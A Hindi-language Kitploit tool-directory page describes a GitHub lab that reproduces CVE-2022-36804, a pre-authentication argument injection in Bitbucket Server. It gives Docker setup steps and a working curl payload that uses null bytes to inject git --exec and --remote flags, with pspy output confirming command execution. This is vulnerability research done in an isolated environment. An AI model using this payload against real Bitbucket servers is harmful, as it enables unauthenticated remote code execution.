Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
bitbucket-test — Investigating CVE-2022-36804 | Kitploit
उपकरण/GitHubGitHub/johangabrielson/bitbucket-test
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationLabs & Practice
GitHubjohangabrielson/bitbucket-test

bitbucket-test

Investigating CVE-2022-36804

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-36804 की जाँच करने के लिए Docker कंटेनर

एक रिमोट कोड निष्पादन भेद्यता का पुनर्निर्माण जहाँ Bitbucket उपयोगकर्ता इनपुट को सैनिटाइज़ करने में विफल रहता है, जो हमलावरों को Git फ्लैग इंजेक्ट करने और दूरस्थ रूप से कोड निष्पादित करने की अनुमति देता है।

यह रिपॉजिटरी दस्तावेज करता है कि कैसे मैंने भेद्यता CVE-2022-36804 को पुन: उत्पन्न किया, जो Bitbucket सर्वर में प्री-प्रमाणीकरण तर्क इंजेक्शन की एक समस्या है। लक्ष्य Assetnote के सार्वजनिक राइटअप में वर्णित अंतर्निहित सुरक्षा मुद्दे को प्रदर्शित करना था। सभी परीक्षण एक पृथक स्थानीय वातावरण में किए गए।

अवलोकन

CVE-2022-36804 Bitbucket द्वारा उपयोगकर्ता इनपुट को बिना नल बाइट्स को सैनिटाइज़ किए सीधे git archive सबप्रोसेस में पास करने के कारण होता है। चूंकि Bitbucket git को स्पॉन करने के लिए NuProcess का उपयोग करता है, नल बाइट्स संरक्षित रहते हैं और तर्क विभाजन का कारण बनते हैं। यह एक हमलावर को कमांड में अतिरिक्त git फ्लैग इंजेक्ट करने की अनुमति देता है। कमजोर संस्करणों (जैसे इस सेटअप में उपयोग किया गया 7.21.0) में यह प्रमाणीकरण के बिना रिमोट कोड निष्पादन की ओर ले जाता है।

CVE-2022-36804 समझाया गया

यह प्री-प्रमाणीकरण रिमोट कोड निष्पादन भेद्यता /archive एंडपॉइंट में होती है जो git archive के फ़ंक्शन के साथ रिपॉजिटरी आर्काइव जनरेट करने के लिए जिम्मेदार है। Bitbucket prefix पैरामीटर को सीधे git सबप्रोसेस में पास करता है लेकिन बिना नल बाइट्स को सैनिटाइज़ किए। चूंकि git C में लागू किया गया है, एक नल बाइट स्ट्रिंग को जल्दी समाप्त कर देता है। इसलिए नल बाइट के बाद की हर चीज़ को एक अलग कमांड लाइन तर्क के रूप में व्याख्यायित किया जाता है। यह हमलावर को कमांड में मनमाने git फ्लैग इंजेक्ट करने की अनुमति देता है।

यह इसलिए काम करता है क्योंकि Bitbucket NuProcess का उपयोग करता है जो नल बाइट्स को हटाने के बजाय संरक्षित करता है। परिणामस्वरूप Git उपयोगकर्ता द्वारा प्रदान किए गए कच्चे इनपुट को बिल्कुल वैसे ही प्राप्त करता है। चूंकि git नल बाइट्स को स्ट्रिंग टर्मिनेटर के रूप में मानता है, prefix मान git सबप्रोसेस को पास होने पर कई तर्कों में विभाजित हो जाता है। यह नल बाइट के बाद अतिरिक्त git फ्लैग को तस्करी करने की अनुमति देता है। जब --exec और --remote जैसे फ्लैग के साथ जोड़ा जाता है, तो यह तर्क इंजेक्शन सीधे Bitbucket सर्वर के कमजोर संस्करणों में रिमोट कोड निष्पादन की ओर ले जाता है।

प्रयोगशाला सेटअप

  • Bitbucket संस्करण 7.21.0
  • तैनाती: Docker Compose
  • रिपॉजिटरी: सार्वजनिक परीक्षण रिपॉजिटरी (TEST/demo)
  • होस्ट: स्थानीय पृथक प्रयोगशाला वातावरण

वातावरण शुरू करने के लिए:

root@kitploit:~
docker compose up -d

संस्करण सत्यापित करें:

root@kitploit:~
cat /opt/atlassian/bitbucket/VERSION

भेद्यता का प्रदर्शन

इस CVE की कुंजी यह दिखाना है कि prefix पैरामीटर में एक नल बाइट Bitbucket को git archive में कई तर्क पास करने का कारण बनता है।

  1. Bitbucket कंटेनर के अंदर pspy चलाएँ
root@kitploit:~
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

pspy को चलने दें।

  1. होस्ट से कमजोर एंडपॉइंट ट्रिगर करें:
root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"

यह परीक्षण करता है कि नल बाइट तर्क विभाजन का कारण बनता है या नहीं।

  1. इंजेक्ट किए गए तर्कों का निरीक्षण करें

pspy में Bitbucket उत्पन्न करता है:

root@kitploit:~
/usr/bin/git archive --format=zip --prefix=test canary/ -- 

यहाँ test और canary एक के बजाय अलग-अलग तर्कों के रूप में दिखाई देते हैं। %00 ने इनपुट को विभाजित कर दिया और Bitbucket को उन्हें git के लिए स्वतंत्र तर्कों के रूप में पास करने के लिए मजबूर किया गया।

नीचे दी गई छवि Bitbucket Docker कंटेनर के अंदर pspy को /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666) पकड़ते हुए दिखाती है। एक मान के रूप में भेजा गया - test%00canary - दो अलग-अलग तर्कों के रूप में पास किया गया है। नल बाइट ने इनपुट को विभाजित कर दिया जो git कमांड में एक अतिरिक्त तर्क को तस्करी करता है।

Skärmbild 2026-03-30 191936
  1. पूर्ण RCE प्रमाण:

नल बाइट्स के माध्यम से --exec=touch /tmp/pwned और --remote=file:///... इंजेक्ट करके सर्वर एक मनमाना कमांड निष्पादित करता है। भले ही git कोड 128 के साथ बाहर निकलता है, कमांड git द्वारा त्रुटि देने से पहले चलता है और कंटेनर के अंदर /tmp/pwned बनाया जाता है। पेलोड:

root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"   

नीचे दी गई छवि pspy को पूर्ण निष्पादन श्रृंखला पकड़ते हुए दिखाती है - /usr/bin/git archive --exec और --remote तर्कों (PID=74412) के साथ चल रहा है, /bin/sh touch /tmp/pwned (PID=74413) को स्पॉन कर रहा है। Skärmbild 2026-04-12 165103

docker exec -it bitbucket ls -la /tmp/pwned के साथ यह सत्यापित करना संभव था कि फ़ाइल बनाई गई थी। यह नीचे दी गई छवि में दिखाया गया है। Skärmbild 2026-04-12 164846

संदर्भ

  • Assetnote: Git तर्क इंजेक्शन के माध्यम से Bitbucket प्री-ऑथ RCE
    • https://www.assetnote.io/resources/research/breaking-bitbucket-pre-auth-remote-command-execution-cve-2022-36804
  • CVE-2022-36804
    • https://nvd.nist.gov/vuln/detail/CVE-2022-36804

लेखक

Johan - स्टॉकहोम, स्वीडन

टूल डाउनलोड करें